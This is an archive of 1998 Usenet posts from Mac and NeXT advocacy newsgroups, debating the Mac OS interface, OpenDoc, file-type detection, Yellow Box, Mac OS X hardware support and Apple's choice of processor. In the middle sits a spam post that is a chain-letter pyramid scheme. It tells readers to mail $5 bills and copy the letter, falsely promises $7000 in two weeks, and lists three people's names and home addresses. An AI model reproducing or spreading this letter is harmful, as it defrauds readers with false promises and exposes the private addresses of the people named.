Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu>
References: <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <mNOSPAMroeder-1507981407020001@192.168.21.170>
On Wed, 15 Jul 1998, Michael Roeder wrote:
> In article <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>,
> pulsar@springnet1.com (Pulsar) wrote:
>
> > In article <mNOSPAMroeder-1407981257200001@192.168.21.171>,
> > mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> >
<snip>
> >Apple has introduced nothing revolutionary in a
> > long time as it did with the Macintosh when it first came out.
>
> That's because the original design was expandable and new features have
> been added as subtle changes to the UI.
Apple has also let the rest of the UI be stagnant.
How many years have we been waiting for modal open/save dialogs to be
_fixed_? When System 7 came out, was there no better way to do the application
menu? Why didn't Apple come out with something better than the Task bar
from the start? Why are we still using type and creator codes despite
their limitation?
Yeah, Apple has been adding to the UI, but there are some things that
should have been avoided from the start or fixed much sooner. I rather led
the discussion away from the original focus with "revolutionary". I
don't mind significant evolutionary changes either. While Apple has done
some to evolve the Mac UI, it hasn't done nearly enough.
There are still many flaws to the Mac UI. Themes and Schemes do _not_
solve those. New icons and shaded buttons do not fix those. Apple has been
making the UI prettier without adding a lot of functionality or fixing
behaviors.
A lot of things will be fixed in Mac OS 8.5, but it's taken too long to
get even this. _And_ Apple doesn't seem to be advancing the UI any further
in other ways. What about the menu system?
> > OpenDoc was interesting. A document centered way of computing was new. It
> > was slow and wasn't always stable, but the idea was great and could have
> > fueled a shift in the way we use our computers. Unfortunately Apple killed
> > that.
>
> Why is such a shift necessary? What problem would it solve? Neither
> OpenDoc nor OLE received tremendous support from applications developers.
> I used CyberDog, a pretty cool OpenDoc application, for a while, but it
> didn't interact very well with other applications.
The problems with support from applications developers wasn't a problem
with the concept, but the implementation and the company behind it.
OpenDoc was rather slow, took a lot of memory, and was unstable. It didn't
get a lot of commitment from Apple (a lot at the start, then less and
less, and then it was dumped). Apple had a history of being wishy-washy
about "the next great thing" before OpenDoc. People were leary of throwing
their support at it.
The concept was good. It was to eliminate the need for huge monolithic
applications which have hundreds of features. It was a different way of
working. OLE doesn't do this really. It just allows you to embed the
features of another huge monolithic application into another.
The point of OpenDoc was that it was document centered computing, not
application centered computing. The focus was to be on the document and
building it using only the parts that were needed. The tools to build the
applications are each small parts that work to assemble the document. In
application centered computing, you learn how to use large applications to
build your document. If the application doesn't have a feature, you're
screwed. If it has too many features, you're using something that's
wasting space.
With OpenDoc, the implementation wasn't good, but the idea was great. This
would have been truly interesting.
> My whole point is that the Macintosh UI is at once simple enough that
> there are few exceptions to rules and it's easy to learn, and it is rich
> enough that it can be easily modified to meet new requirements without
> changing the whole interface.
There are a lot of exceptions to the rules, and it is _not_ easy to learn.
I think it is certainly _easier_, but it is not easy. It has a long way to
go yet before being easy.
> Someone who had slept in a cave for the past ten years would feel right at
> home with the Mac, but Windows 98 is a completely different beast from
> Windows.
I doubt they would be right at home. There are certain things that are
similar, but a lot of things have changed about the Mac UI. As for the
Windows UI, they would get the feel of it. It's bad, but it's not that
bad.
> > > >There are
> > > > better alternatives to nearly everything that is in the Mac OS that could
> > > > be implemented.
> > >
> > > Like what?
> >
> > How about the menu system?
> >
> > See http://www.ews.uiuc.edu/~tokarek/rhapsody
>
> That's pretty neat, but it isn't revoltionary.
Apple isn't even doing that! I don't even need anything revolutionary at
the moment (though I'd like that if it were a good idea). I simply stated
that there is a better alternative to nearly everything in the Mac OS.
There is something better than the common menu bar. Whether that is
something that behaves like what's at the page listed above or not doesn't
matter. I would like something better. The common menu bar has some
problems and there are ways to fix them.
> The basic idea of a single
> menu bar across the top of the screen is still there. The bar contains
> titles. You click on one and a menu opens up. You select a menu item, and
> maybe another menu opens up. (Whups! That's another example of something
> that wasn't present in the original Mac UI!) Now some menus can be torn
> off to become palettes on the screen. It's a subtle change that builds on
> top of an existing structure. It doesn't require a whole new UI.
Yes, but Apple isn't even doing that.
> > How about the handling of the file system where cross-platform file sharing
> > can cause the user confusion and annoyance?
> >
> > Perhaps file types could be based not on name like Windows, and not with a
> > couple of invisible codes like the Mac OS, but by the actual kind of file
> > the thing is. Jpeg images can be distinguished as jpegs without a .jpg file
> > name. You can call the .gif files and it doesn't change the image format.
> > Word Perfect documents can be distinguished from Word 97 documents without
> > an extension or type/creator code.
> >
> > Why not have an OS that is able to have defining characterisics of files be
> > registered in order to determine the file type is and what application
> > should open it?
>
> I assume you mean "could" where you said "can," meaning that you wished
> those could be the case. That would require that every file contains a
> standardized file header that tells an application what the file contains.
Not necessarily. As I said, each application might register defining
characteristics of the files it can open with the OS. That way if a file
is brought over the internet or over a floppy from another platform that
doesn't have a file extension and does not carry the right type/creator
codes, the OS can decide what should open it. In fact, it should be able
to determine a file type in spite of its type/creator codes or even file
name extension.
Macintosh Easy Open does not go far enough. It is not robust enough and is
definitely not transparent to the user.
> It's not always easy to look at a random file and, without the benefit of
> a MIME type or type/creator code, know what it is. Some formats look like
> absolute garbage unless you know what you're looking for.
I'm sure you're right. That shouldn't be a reason to stick with
type/creator codes that users can have frequent problems with..
> I worked at a company whose product was able to determine which of forty
> or fifty text formats a file was. How many file formats are there in the
> world? How many new formats are being invented every month? How many other
> operating systems will cooperate with the Mac OS in helping to determine
> file types?
There's no reason for that. If the OS runs across an unknown file type,
then it can ask the user. If the file type (without any type/creator codes
or file name extensions mind you) can be opened, then the OS does it.
The OS does not have to keep a registry of all possible file types in the
world. It has to keep a registry of the file types that the installed
applications can open. Applications register the file types that they
can open with the OS. It's actually a very similar concept to type/creator
codes except now it's not a 4 letter code for each, it is the contents of
the file. A jpeg is discernable from a sound file. I wouldn't want to have
to make the decision by hand, but surely there is a way to tell the
difference.
I don't think the solution is not as big as you are making it out to be.
> It's an interesting problem you've stated, and solving it would be really
> useful ... and really difficult.
Difficult, but I don't think really difficult. The OS does not have to
know about every format in the world. It just has to know about the ones
that the applications can already open.
> > Granted, these are not fundamental changes with how we interact with
> > computers, but they are advancements over the current Mac OS.
>
> You're right. They're file format issues, not UI issues. Don't harsh on
> the Mac's steady evolutionary refinement history by complaining that the
> Mac can't determine the format of files from other sytsems.
This is something that affects how the user interacts with the machine.
Don't dismiss them so casually. They are pervasive and sometimes annoying.
> > Maybe you argue that's a good thing, but while Apple has been eeking by,
> > other companies have been enhancing and advancing their UIs.
>
> Like how? All the Windows variants, NeXT, Be, and so forth are pretty much
> like the Mac: menus, icons, windows, buttons, sliders, and so forth. There
> are a few widget concepts in other UIs that I'd like to see on the Mac,
> but none of them would mean a complete redesign of the Mac's OS.
No, none of them are a complete redesign, but each of them advance
features that the Mac does not have (or didn't until recently or won't
until soon to be Mac OSes).
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 20 Jul 1998 11:38:51 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980720113533.10712B-100000@ux9.cso.uiuc.edu>
References: <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <forrestDELETE-THIS!-1707981643140001@term3-7.vta.west.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <forrestDELETE-THIS!-1707981643140001@term3-7.vta.west.net>
On Fri, 17 Jul 1998, Forrest Cameranesi wrote:
> In article <mNOSPAMroeder-1507981407020001@192.168.21.170>,
> mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
>
> > In article <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>,
> > pulsar@springnet1.com (Pulsar) wrote:
>
> > > Why not have an OS that is able to have defining characterisics of files be
> > > registered in order to determine the file type is and what application
> > > should open it?
>
> [snip]
>
> > It's an interesting problem you've stated, and solving it would be really
> > useful ... and really difficult.
>
> Actually, I think the current MacOS Easy Open system can do this. I can
> take a file, name it something like "blah" or some such (no suffix for PC
> Exchange to guess at), strip it's type and creator with ResEdit, and when
> I double-click it I get a dialog with several apps which could open it.
Those several apps are all widely different in what they can open and how
they open things. The user has to know before hand what kind of file it is
in order to choose the right application to open it. That should be
unecessary.
MacEasyOpen takes a small step in the right direction, but doesn't go far
enough. It is not transparent enough.
<snip>
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 13:35:05 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1907981335060001@sf-pm5-7-71.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> <35B197CE.127040FE@cloud9.net>
In article <35B197CE.127040FE@cloud9.net>, Andrew Weiss
<ajwdsp@cloud9.net> wrote:
> George Graves wrote:
> >
> > They will fall behind anyway because by using the incompatible
> > PPC chip, Apple is on the outside of the mainstream computer
> > biz looking in. Heck, even SGI has seen the light and will be
> > building X86 boxes. The difference is that SGI has never had a
> > dynamite OS, so they are going to be running NT on their Intel
> > Boxes. Apple does have a VIABLE alternative OS to Windoze, and
> > if they can write OS-X to run on Intel and to run Windows apps
> > natively and full-featured, they will be real WINNERS (and so
> > will everybody else).
>
> EWWW again what a nasty lump of garbage! Are you an Intel Troll?
Anybody who has read this NG over the last two-three years KNOWS
that I am anything but an Intel troll. I hate Windows (in any form)
and I love the Mac. To me the Mac is defined by MacOS. What should
I (or anybody else, for that matter) care what the guts of the computer
are comprised of as long as that computer gives me the Mac Computing
Experience? Apple is already using more and more industry standard
parts in their boxes, and are falling into line featurewise with the
mainstream computers. Those Intel computers have advantages and
disadvantages, like anything else, but their advantages mostly stem
from the fact that they are a STANDARD. That means they run standard
apps, the use standard hardware, standard components. Many of these
things are such commodities, that they make Intel boxes CHEAP. Heck,
a floppy drive for a PC costs less than US$20 fer chrissake. How much
for a floppy for a Mac?
I'm looking for a way that Apple can extend its vision, keep giving you
and I the Mac OS, and stay in business over the long haul. My little
scenario is, far from an Intel troll, just one way of accomplishing
this. Too me it embodies the best of all possible worlds. Sort of a
Mac heaven where we get to eat our cake and have it too. Its just a
thought, but boy would it save Apple's bacon!
> Mr. Graves ... SGI is expanding business by offering Intel
> Workstations. However other than 4dwm which is only ugly in my opinion,
> IRIX 6.3 kills NT hands down especially since NT is not and will not be
> 64 bit until 6.0... not even 5.0. SGI is still fully committed to both
> IRIX and MIPS. You'd be extremely stupid to think that a supercomputing
> power would put dumb as dirt processors in it's mid to high end
> workstations. For SGI it's still MIPS and Alpha (Cray). PPC is not
> non-standard... and Apple is the only company offering this outstanding
> technology to the masses... you don't see RS/6000's for the masses do
> you? How about Sparcs or MIPS... sure Sun and SGI tried to touch the
> mid-range of business's with O2 and Ultra 2i, but come on.. it's still a
> $10K machine for a nice Ultra 2i despite starting at $4K and 6 for the
> O2. And of course if you want a cheap MIPS, buy a Cobalt Micro server
> running Linux for $999, and if you want extremely cheap, rip one out of
> an N64 and try to find a motherboard and hack the R3000 to pieces (not
> literally, but you do have to know a lot about electronics to do this)
> or pull out of a Cyclades Serial port hub
While I agree with you about the PPC's merits, it won't help Apple. Perhaps
if Apple had started out as a niche computer with just a few apps (like Sun
and SGI) this wouldn't matter. But Apple was a strong presence in the
computer marketplace once. Developers used to develop the "neat" apps for
the Mac first. This is no longer the case. Many developers have left the Mac
altogether, and as Apple sinks further into irrelevency in the marketplace,
I'm certain that there will be more out and out defections. I DON'T LIKE THIS.
I think Apple has alternatives, I think they are looking at exercising them.
My little idea is certainly one way that Apple could fix both their problems
and the Mac's. I'm sure that there are others.
No, I'm not a troll. Call it "hard love".
George Graves
>
> <whatever to the rest of this>
>
> Andrew
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 20 Jul 1998 16:22:53 GMT
Organization: none
Message-ID: <6ovqst$hnp$5@server.signat.org>
References: <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <B1D4F7F2-2A28C@206.165.43.134>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B1D4F7F2-2A28C@206.165.43.134> "Lawson English" wrote:
> Jobs believes in Apple-as-niche. Explain his refusal to create an AMP-like
> machine and license it to anyone, otherwise.
Oh come on! How about:
a) partners backed out
b) scared by the Pipin debacle
c) WebTV (et all) isn't selling, why should this
d) research indicates no one wants a $1000 set-top
e) DVD is changing the base assumptions about what
the machine needs to do
f) something better is coming along
g) they think they can do better with the iMac
h) don't want to dilute the iMac message
i) it didn't work
Another moronic statement Lawson.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 20 Jul 1998 16:02:06 GMT
Organization: none
Message-ID: <6ovplu$hnp$3@server.signat.org>
References: <6oj92v$6d9$1@news.spacelab.net> <B1D2D2AB-D80AC@206.165.43.119>
<6ol3ov$722$2@server.signat.org> <not-1607981031580001@2-20.phx.psn.net>
<6olhq1$ed2$1@server.signat.org> <35B189F6.20D0D5A8@cloud9.net>
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Cc: ajwdsp@cloud9.net
In <35B189F6.20D0D5A8@cloud9.net> Andrew Weiss wrote:
> > Clearly MacOS-X is not 8.x. This statement is meaningless.
> >
> > That said, I did mean "every PPC ever built" not "every Mac ever
built".
>
> Yes but clearly a third party could consult with apple and build a
> viable set of libraries to provide functionality to the Yellow code
> base... a Yellow box on the Mac (I thought that did exist as well), and
> the point I believe is that the interface to vm and other things is far
> different, though there is a way to use this code with that knowledge in
> mind and write things somewhat transparently in most cases.
Whoa. Michael's point is that YB won't run on MacOS 8.x and earlier. He
is correct in this way. I was correcting my own statement in saying that
MacOS-X could be run on any Mac made, I meant any PPC Mac. Seeing as no one
but Apple can (legally) make MacOS-X, I think the claim is valid.
> > That's right, the MacOS-X routines.
>
> The BSD 4.4 routines.
No, the OSF Mk7.3 routines.
> Theoretically the OS X seems more likely to be the opposite.
Yup.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 20 Jul 1998 16:29:45 GMT
Organization: none
Message-ID: <6ovr9p$hnp$7@server.signat.org>
References: <6omain$snn$1@server.signat.org> <B1D4F664-24510@206.165.43.134>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B1D4F664-24510@206.165.43.134> "Lawson English" wrote:
> My point was simply that for those people who are Mac-only developers,
> YB isn't a good solution
_My_ point is that these developers would no longer be Mac only. Every
developer I know would LOVE to get "free" Win software out of their
development effort.
> until the majority of potential customers are
> running YB-enabled Macs.
Yes, but that's also my point - YB-enabled Macs could encompass a HUGE
selection of models if Apple wanted it to. They don't. I don't like that.
> Why? Because most Mac-only companies are
> Mac-only because they don't want to try and maintain two code-bases: 1
> for Macs and 1 for PCs.
Exactly, that's why they all should be using YB, and Apple should be
putting YB on all of their machines.
> If they started to use the YB, they would have to maintain two
> code-bases: 1 for Macs and 1 for YB-capable OSs.
Only if Apple doesn't make YB run on more machines - which is well within
their abilities.
Note though that you are now arguing MY point against GX.
> Easier to stay Mac-only and keep with the customers that you know.
Yes, easier. Sadly this is the problem, isn't it?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 20 Jul 1998 16:15:50 GMT
Organization: none
Message-ID: <6ovqfm$hnp$4@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com>
<gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com>
<gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com>
<gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org>
<gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org>
<gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com>
<gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
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Cc: gmgraves@slip.net
In <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> George Graves
wrote:
> You have just expressed the VERY reason why Apple should be moving
> to Intel architecture
Yes and no, Apple can build machines that use PC technologies and
advancements, and still sell Macs and make money selling them. They can get
the best of both worlds, they ARE getting it, as the iMac demonstrates.
> They will fall behind anyway because by using the incompatible
> PPC chip
Hardly, this is a very odd statement in fact. The modern Mac shares
something on the order of 95% parts and tech compatibility with the modern
PC. The big differences are the memory controller and CPU, with some
secondaries like sound and (in the past anyway) input.
This isn't about the _chip_ it's about the _architecture_. Apple _is_
using the architecture and gaining all of the advances in it.
> biz looking in. Heck, even SGI has seen the light and will be
> building X86 boxes.
Something many people think will lead to their destruction.
> A 20% drop this quarter is flat? You speak strangely, friend.
A 2% drop in a quarter is _meaningless_, Apple's income _normally_ drops
more than this. Look at a five year chart, not a 5 month one.
> Sure, but why not go all the way?
Because then they don't make any money selling hardware with a good profit
margin.
> > No. You seem to think that would be a 'silver bullet'. Bullet
> > to the head is more likely.
>
> Like it or not, Apple is looking for one.
They are? Do you have any recent information that demonstrates this?
> said ("read my lips, Apple is NOT for sale") Apple has been for sale
> since about 1989. In 1996 Sun came so close to buying that you had to
> had to blink to miss it. Amelio shit-canned the idea at the eleventh
> hour as his first act of assuming the presidency vacated by Spindler.
If Sun had bought Apple, Macs would no longer exist IMHO. Sun is barely
able to sell it's own stuff, and exists solely because of the rise of the
internet (thankfully, or Unix would be dead too IMHO).`
> Then, I'm afraid, long run, they have NO chance. (just my opinion Maury!)
More power to you, but I simply don't agree. I do believe Apple was _very_
close to death there for a while, and now they are merely in a flat zone.
This all depends on the iMac - don't underestimate the mass market's
potential to sell ANYTHING if the people like it.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 20 Jul 1998 16:26:27 GMT
Organization: none
Message-ID: <6ovr3j$hnp$6@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
<not-1407981048300001@2-25.phx.psn.net> <6okmrf$10j$3@ironhorse.plsys.co.uk>
<not-1607981039320001@2-20.phx.psn.net> <6ollij$h19$1@server.signat.org>
<slrn6r26ov.l5c.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Cc: NOSPAMmbkennelNOSPAM@yahoo.com
In <slrn6r26ov.l5c.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> Matt Kennel wrote:
> : What guarantee is there that that Henry Norr wouldn't do the exact
> :opposite? In fact, he did. KB said that YB was going ahead and that it
had
> :something to do with Apple's "java" position (whatever that is...).
>
> This "thing" with YB and Java is hardly new. Indeed tighter linkage
> between Java and OpenStep had started with NeXT before the buyout.
[snip]
> It's the same issue as with MacOS X vs Rhapsody. If you understand the
> technology you can decode the marketing messages.
Well a good message, but I think you read my point wrong. I was making fun
of Apple's current message, in which YB has something to do with our Java
strategy, but they pretty much refuse to talk about either one.
Maury
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: 20 Jul 1998 16:56:18 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ovsri$s7r@newsb.netnews.att.com>
References: <6oqr65$ept$1@supernews.com> <edremy-ya02408000R1807982049360001@nnrp.usc.edu> <6otr2r$okr$1@supernews.com>
Originator: gupta@tlctest
Le e Al te nb erg <a lt e n ber@nashville.com> wrote:
>
>Suppose I see a great graphic from the Web in OmniWeb, and I want to modify
>it with my favorite image processor. With the NeXT GUI, I click on the mouse
>over the image, drag it over to the app's icon in the Application Dock, and
>let go of the mouse---one click to view the image with my designated app.
>
>Without the NeXT Application Dock, how would this be done in the Mac OS X
>GUI? Can it be done with one click and one drag?
Not all Mac applications support drag-and-drop, but within the set of
those that support drag-and-drop, things work in exactly the same way.
-arun gupta
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Sun, 19 Jul 1998 18:38:02 -0400
Organization: none
Message-ID: <id_est-1907981838030001@192.168.1.3>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <6ollab$qo3$1@news01.deltanet.com> <id_est-1607982104080001@192.168.1.3> <6oo3dp$i49$4@news01.deltanet.com> <id_est-1907981236320001@192.168.1.3> <mcgrane-1907981742370001@cc962257-a.vron1.nj.home.com>
In article <mcgrane-1907981742370001@cc962257-a.vron1.nj.home.com>,
mcgrane@NOSPAMhome.com (Paul McGrane) wrote:
> In article <id_est-1907981236320001@192.168.1.3>, id_est@interport.net
> (tse_di) wrote:
>
>
> > Although the 7500/7600/8500/8600/9500/9600 are all based on the same
> > motherboard there are a surprising number of variations in the actual
> > hardware used on those boxes. (think of the video, video in/out and SCSI
> > systems in particular. The G3 destops, laptops and and iMacs all use
> > identical components (in each class, obviously). It is a lot easier to
> > support these machines. The question is what "support" means? Does it mean
> > just boot up or does it mean all hardware features work well?
>
> Those machines are not all based on the same motherboard. That list you
> gave includes 3 major boards, the Tsunami having a variant to support
> inline cacheing.
Sorry, What I should have said was "superficially similar" motherboards
rather than the "same". My mistake. My point was that there is a lot of
variety in the 604 PCI series machines even though they look fairly
similar and that that this is not the case with the G3 and G3 powerbooks
(they ARE the same)
> To support these machines means guaranteeing that the OS will work, in
> theory, on those machines without a hitch. Even if Apple doesn't guarantee
> it, OS X may still run well enough.
Would it be acceptable on an 8600 if OS X ran but the video capture or
output didn't work? How about if you couldn't boot of certain partitions
on certain buses on dual SCSI bus machines? or if RAM had to be in
specific DIMM slots or video cards in specific PCI slots. These are just
hypothetical examples of issues of partial support that might crop up. The
impression I got is that the G3 cut-off is mainly a question of writing
drivers, not whether it is possible or not...it obvoiusly is but whether
or not they can be written and tested in the time frame given and whether
this is a cost effective way of using resources.
From: bux@bway.net (Robert Buxbaum)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 13:00:57 -0400
Organization: WorldTable
Message-ID: <bux-2007981300570001@dial-tulip-20.bway.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net>
NNTP-Posting-Date: 20 Jul 1998 17:01:57 GMT
In article <Josh.McKee-1807981007290001@pm3a21.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> The problem as I see it is that Apple has said this twice already...what
> is to keep them from doing it with the G3 Macs? In other words, what is
> to keep Apple in a year from now, declaring OS X dead and OS XI the "new"
> OS? And that OS XI will not run on existing G3 Macs.
>
Nothing. What will keep anyone from designing a new operating system that
calls for new computers. If a computer will work for you now, it will
work long enough to earn it's keep. You're not complaining about a
computer that will not "work" nor help you do your work. You're just
speaking about owning a computer that will run the latest operating
system, even if the only way to guarantee that would be to kill research
and development.
From: <soothsayer5@hotmail.com>
Newsgroups: comp.sys.next.advocacy
Subject: This may help with money...
Date: Mon, 20 Jul 1998 00:38:22 -0600
Organization: Interspace
Message-ID: <200798003822@hotmail.com>
$$$ NEED MONEY NOW? $$$
This is the fast one while you are waiting for the others to work! You will have $7000 in 2 weeks!
ONLY $12.00 to $14.00 total cost and 1 hour of work, with no mailing lists!
PLEASE READ TO FIND OUT HOW!!!!
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program is MUCH more realistic and yes...FASTER, and you receive your reward in 14 days. Thats only TWO WEEKS--not three months like so many others. Just in time for next months bills!
The Details...
You mail out 20 copies of this letter (or post them to newsgroups...whichever is more conveinent). You
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continue and stay with it, but do yourself a favor and do this one as well! RIGHT NOW!!! It is incredibly
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Send one person a $5.00 bill, follow the instructions and in two weeks you should have $7000 (and a lot of dirty looks from your mailman, as hs stuff your mailbox!). Most people have responded due to low
investment, speed and high profit potential.
1.) On a blank sheet of paper, write your name and address clearly with a small note that says "Please
add me to your mailing list". Next, fold that paper around a $5.00 bill, so that no one can see it from the outside. Send this letter/bill to the FIRST person on the list. ONLY the first person on the list gets the actual five dollar bill (the person at #1 on the list) and your name and address on a sheet of paper.
2.) Retype the LIST only, removing the first (#1) name from the list. Now, move the other two names up and add YOUR name to the list in the #3 position. This can be done easily with labels when you send it by mail.
3.) Paste your newly typed list neatly over the old one and make 20 copies of the revised letter to send out to 20 prospects. As stated before, an excellent source of names is the people who send you other program with names listed on the letters they send you, Do this right away, a.s.a.p. Its too easy...do not "mull this over". One hour, tops...thats it!
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can actually do this again and again...the sky is the limit! Each time you recieve a money making program in the mail, send out this letter with your name at number 3. Your name will spiral to number one at dizzying rates!
Some people might want to purchase or download a mailing list of opportunity seekers and send out a whopping 200 or more, but I'll leave that up to you. Wed are enjoying a 50% response rate! Just think about that! You cant go wrong! Do the math!!! Isnt the prospect of reaping an easy 7000 in two weeks worth a little experimentation?
Please mail out your letters immediately. The sooner you do, the sooner you can pay off that student loan, buy that oak kitchen table, or hand over a check for a new pontiac! Thank you for your attention, and may God Bless.
LIST:
1.) J.W Borgmeyer
9 Elm Ct
St. Peters, MO 63376-1316
2.) T.M.C.
4474 South Germantown Road
Memphis, TN 38125
3.) M.Hammer
2545 Madrid St. Apt. 105
New Orleans, LA 70122
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 20 Jul 1998 17:06:31 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ovten$sbi@newsb.netnews.att.com>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <35B1100A.3842D7E8@nstar.net> <6orjq8$vgv$1@camel29.mindspring.com> <gmgraves-1907981403530001@sf-pm5-7-71.dialup.slip.net>
Originator: gupta@tlctest
George Graves <gmgraves@slip.net> wrote:
>
>No, it MUST run them well, and there is no reason why it can't. Just
>saying that Windows apps run best on Windows doe not mean that
>sometime in the future, someone else couldn't write a BETTER OS
>for Intel that would run Windows apps better than Windows can
>run them.
?????? Windows isn't an open platform, Windows is owned by
Microsoft and defined by Microsoft, and Microsoft will make sure
that Windows apps run best on Windows. If something else shows
signs of running current Windows apps better than Windows, then
Microsoft will change the definition of what constitutes Windows.
-arun gupta
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
